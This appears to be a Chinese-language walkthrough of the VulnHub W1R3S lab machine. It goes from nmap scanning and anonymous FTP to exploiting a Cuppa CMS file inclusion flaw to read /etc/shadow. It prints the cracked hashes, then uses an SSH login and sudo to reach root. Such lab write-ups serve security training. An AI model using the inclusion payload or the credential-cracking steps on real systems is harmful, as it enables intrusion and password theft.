靶机下载:https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip
将网络适配器设置为NAT模式


靶机启动后界面
ftp匿名登入:anonymous 任意密码
信息收集
sudo nmap -sn 192.168.109.0/24
-sn 只进行主机存活扫描,不进行端口扫描

由扫描结果可知,靶机ip为192.168.109.148
接着进行端口扫描
mkdir nmapscan
sudo nmap -p- –min-rate 10000 192.168.109.148 -oA nmapscan/ports
–min-rate 以最小速率10000进行扫描-p是端口参数;-p-表示对所有端口进行扫描(1-65535);-oA 以全格式输出保存在nmapscan/ports目录下

可知开放了21,22,80,3306端口,接下来进行详细扫描
sudo nmap -sT -sV -O -p21,22,80,3306 -oA nmapscan/detailed 192.168.109.148
-sT 进行TCP扫描;-SV 探测各服务版本;-O 探测操作系统版本 ;-oA 以全格式输出保存在nmapscan/detailed目录下

使用默认脚本进行漏洞扫描
sudo nmap –script=vuln -p21,22,80,3306 –min-rate 10000 192.168.109.148

如上图所示,nmap的漏洞扫描发现21,22,3306都没什么漏洞,80端口发现一个DOS拒绝服务攻击的漏洞,同时还发现了一个CMS为Wordpress的登录页面。由于是在靶场环境中,DOS不适合使用,于是关注到web界面中。攻击的重点为21-80-3306-22
FTP渗透
先尝试是否存在匿名登入 账户:anonymous 密码:任意
ftp 192.168.109.148

登入成功 Login successful
先ls查看是否有什么线索

发现三个目录文件,一个一个进行查看
cd content
ls

发现三个文件,先下载出来,这里需要注意的是,如果目录下的文件不是文本.txt文件的话,需要先运行binary指令(即输入binary然后回车)转换为二进制格式,以保证通过FTP下载的文件不会损坏。如果本身就是txt文件,则运不运行binary都可。
mget *.txt
mget 下载多个文件 *.txt表示所有txt为后缀的文件
get 下载单个文件

cd ..
cd docs
ls
get worktodo.txt

cd ../new-employee
ls
get employee-names.txt

全部下载完后可以撤退了 exit回到kali中
exit
ls

五个文件都已经下载出来了,接下来一个一个查看文件


这个两个文件都没有什么有效信息

发现02.txt文件有两行加密编码 一个看起来像是md5加密 在网上找个md5解密进行解密试试

成功解密!但是告诉我们这不是密码,第二个看起来是base64,也拿去解密看看

没错,就是base64编码,但是似乎在告诉我们并没有这么简单找到flag
content文件夹下的文件查看完,接下来看一下docs文件夹下的文件

这看着像是进行上下翻转后的得到的数据,我们找个网站进行翻转看看
https://www.upsidedowntext.com/

直译是我并不认为这是通往root的路。可能是在告诉我们ftp并不能拿到root权限,再试试下句话吧

大意是在告诉我们不要再到处乱逛了,我们还有许多事情要做,接着查看employee-names.txt文件

拿到了职工的一些信息和职位,说不定有用,先存着。其实这个信息再渗透测试过程中可能是有用的。针对每个人的名字和职位,我们就可以做针对性的渗透。比方说经理Naomi的权限说不定会更高,Web Design网页设计者可能在web开发中有一些自己的习惯。HR是我们社工的主要对象等等。FTP就先探索到这里了。下一步我们看看web有啥问题。
web渗透
上面端口扫描得到有开放80端口,我们进行访问看看

有开放apach服务 ,接下来先进行目录爆破看看有什么线索
使用gobuster进行爆破
sudo gobuster dir -u http://192.168.109.148 –wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

结果爆破出了三个目录 先试一下第一个 http://192.168.109.148/wordpress/

结果访问之后,网址就跳回localhost了,我们将localhost手动修改为192.168.109.148,还是会跳回这个页面,看来也没太大希望。
我们再试一下http://192.168.109.148/administrator/

这个页面暴露了CMS是Cuppa,同时这是一个cms安装界面。由于安装界面暴露了权限和配置信息,安装是有写权限的,这个界面很可能有漏洞,我们要重点关注。点一下next试试。发现了一个安装和配置页面

随便输如几个数据显示安装失败

接下来试着搜索一下cuppa的漏洞
searchsploit cuppa
searchsploit是kali自带的数据库搜索工具

发现有一个远程文件包含漏洞,我们把这个25971.txt下载下来看看怎么利用 :
searchsploit cuppa -m 25971.txt

cat 25971.txt

可以看出漏洞点在源码中22行<?php include($_REQUEST["urlConfig"]); ?>
试着用exp构造代码
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
target是我们的靶机地址,cuppa在这应该换成administrator
http://192.168.109.148/administrator/alerts/alertConfigField.php?urlconfig=../../../../../../../../../etc/passwd

应该是成功了,但是没有数据回显,源代码中显示的是REQUEST请求,会不会是源代码改变了,我们试着用POST请求试一下,利用hakcbar构造payload

数据回显成功,暴露出了/etc/passwd的信息,在现在linux系统中,passwd文件里面所有账户的密码都是用x代替的,真正的密码(加密后)放在/etc/shadow中,同样的curl方法,我们改一下参数,看看etc/shadow

将含有hash结果的信息保存起来
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
将这些保存到shadow.hash文件中
vim shadow.hash

esc模式下:wq保存退出
密码爆破
利用john进行爆破
john shadow.hash

最后只爆破出了两个密码 ,还有一个一直爆破不出来,直接ctrl+c停止了
注:如果重复破解相同的密码哈希,john是不会显示结果的,可以用john -show shadow.hash 查看历史破解记录
我们先用w1r3s用户进行远程连接看看

密码computer 成功登入!

ip是靶机地址192.168.109.148
提权
获取初步立足点后进行内网信息收集
# 1. 确认当前用户
whoami
# 2. 查看系统信息寻找内核漏洞
uname -a
# 3. 查看用户权限
id
# 4. 检查是否有sudo权限
sudo -l

发现w1r3s已经具有了all:all:all的权限,那么我们能够以系统的权限运行/bin/bash
sudo /bin/bash

成功获取root权限!
cd /root
ls
cat flag.txt

至此,成功拿到flag
总结
1.信息收集:先进行主机存活扫描发现靶机ip为192.168.109.148——端口扫描发现开放了21,22,80,3306四个端口——详细详细扫描探测服务版本和操作系统版本信息——查询开放端口漏洞——目录爆破——查询历史数据库漏洞——提权
2.优先从21端口FTP开始入手,进行匿名登录,查看文件夹发现了许多.txt文件,包括了一些提示信息和人员名单,两个文件夹中的文件提示出该路径没有多大的意义,人员名单暂时还不知道有什么用处,先保存下来,后面可能用得到。接着从80端口入手,查看web页面,发现apache默认界面,扫描目录发现有wordpress,adminstrator,javascript,逐一访问,发现adminstrator子目录的cms为cuppa,用kali中的searchsploit进行利用,发现文件包含漏洞,/etc/shadow暴露了登录密码。
3.使用join破解密码hash,得到登录账号w1r3s的密码为conputer,尝试对22端口进行ssh登录,成功登录,查看权限,发现已经是系统权限了。
4.提权,以系统权限运行bash,成功升级为root。


